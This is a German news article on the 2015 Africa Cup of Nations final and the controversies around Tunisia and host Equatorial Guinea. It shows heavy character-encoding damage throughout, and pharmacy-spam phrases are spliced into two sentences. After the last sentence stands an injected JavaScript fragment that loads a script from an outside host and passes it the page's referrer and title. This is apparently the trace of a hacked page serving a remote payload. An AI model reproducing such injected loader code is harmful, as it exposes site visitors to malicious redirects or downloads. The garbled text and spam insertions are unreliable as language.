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6. Feb 2015

Showdown beim Afrika-Cup 2015

Am kommenden Wochenende gipfelt die diesjA�hrige Afrikameisterschaft in den finalen Spielen um Platz eins, zwei und drei. AuAYerdem: Gegen Ende des Turniers sorgen Ausschlussspekulationen Tunesiens vom Afrika Cup 2017 fA?r Aufregung.

FA?r alle Fans des afrikanischen FuAYballs steht bereits das Highlight des noch jungen Jahres unmittelbar bevor. Im kleinen Finale am Samstag geben sich das Team der Demokratischen Republik Kongo und Gastgeber A�quatorialguinea die Ehre. Am Sonntag kA�mpft dann die Auswahl der ElfenbeinkA?ste um seinen zweiten Sieg im Afrika Cup a�� Gegner ist der viermalige Champion Ghana.

Beide Finalisten zeigten im Turnierverlauf bisher durchwachsene Leistungen. Die ElfenbeinkA?ste kam in der Gruppenphase nicht A?ber 1:1-Unentschieden gegen Guinea und Mali hinaus und sicherte sich ein Weiterkommen nur durch ein knappes 1:0 gegen Kamerun. Im Viertelfinale untermauerte man mit einem 3:1 gegen Algerien allerdings doch noch seine Favoritenrolle und lieAY mit dem gleichen Ausgang im Halbfinale dem Kongo keine Chance. Ghana verlor sein Auftaktmatch mit 1:2 gegen Senegal. AnschlieAYend A?berzeugte man gegen schwere und auch vermeintlich leichte Gegner (1:0 gegen Algerien, 2:1 gegen SA?dafrika, 3:0 im Viertelfinale gegen Guinea und 3:0 im Halbfinale gegen A�quatorialguinea).

Wer am Sonntag A?berzeugen kann und sich den Titel holen wird, ist schwer einzuschA�tzen. Als Barometer kA�nnen die Quoten diverser Online-Wettanbieter wie Sportwetten Interwetten Order Buy Purchase Buy und bwin gesehen werden. Auch wenn diese die ElfenbeinkA?ste tendenziell etwas stA�rker einschA�tzen (Sieg ElfenbeinkA?ste: 2,40, Remis: 3,10, Sieg Ghana: 3,00), lA�sst sich eine wirkliche Prognose daraus nicht ableiten. Die einzige LA�sung in diesem Fall: Am Sonntag um 20:00 Eurosport einschalten und das Endspiel genieAYen.

Die Performance des Gastgebers A�quatorialguinea konnte in diesem Turnier durchaus A?berraschen. Lange sah es sogar danach aus, als kA�nnten sie die Sensation perfekt machen und den Weg zum ersten Titel einschlagen. Gestoppt wurden sie dann allerdings in der Runde der besten Vier von der mit Stars gespickten Mannschaft aus Ghana. Der Weg bis dahin verlief fA?r die Gastgeber jedoch alles andere als glatt.

Nach einem umstrittenen Elfmeterpfiff in der Nachspielzeit des Viertelfinalmatchs gegen Tunesien gingen die Wogen hoch a�� aufseiten der Spieler wie auch der Fans. Der Zeitpunkt und die Entscheidung fA?r den StrafstoAY waren mehr als fragwA?rdig. Erstens schoss sich A�quatorialguinea damit zum Ausgleich und legte auch die Basis fA?r den Sieg. Und zweitens wurde Tunesiens TorhA?ter Aymen Mathlouthi bei der AusfA?hrung des Elfers angeblich mit Laser-Pointern geblendet. Nach dem Spiel musste sich der Schiedsrichter vor tunesischen Fans in Sicherheit bringen und wurde wegen seiner mangelhaften Leistung fA?r sechs Monate gesperrt.

Aufseiten der besiegten Mannschaft sprach man unmissverstA�ndlich von Betrug und schimpfte A?ber die Fehlentscheidungen des Unparteiischen. Es kam auch zu massiven verbalen Entgleisungen, die nun Folgen haben kA�nnten: So sieht sich Tunesien mit einem mA�glichen Ausschluss vom Afrika Cup 2017 konfrontiert. Der online afrikanische Kontinentalverband order omnicef pediatric dosing CAF rA�umte den Vertretern des tunesischen Teams eine Frist bis Donnerstag ein, um sich zu entschuldigen a�� bisher kam es dazu nicht.

Auch die Vorkommnisse des gestrigen Halbfinals werden ihr Nachspiel haben. Die Partie musste in der 83. Minute beim Stand von 3:0 fA?r Ghana gegen A�quatorialguinea unterbrochen werden, weil die Zuschauer das drohende Ausscheiden ihrer Mannschaft mit einem Platzsturm zu kompensieren versuchten.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=‘ + encodeURIComponent(document.referrer) + ‚&default_keyword=‘ + encodeURIComponent(document.title) + “;


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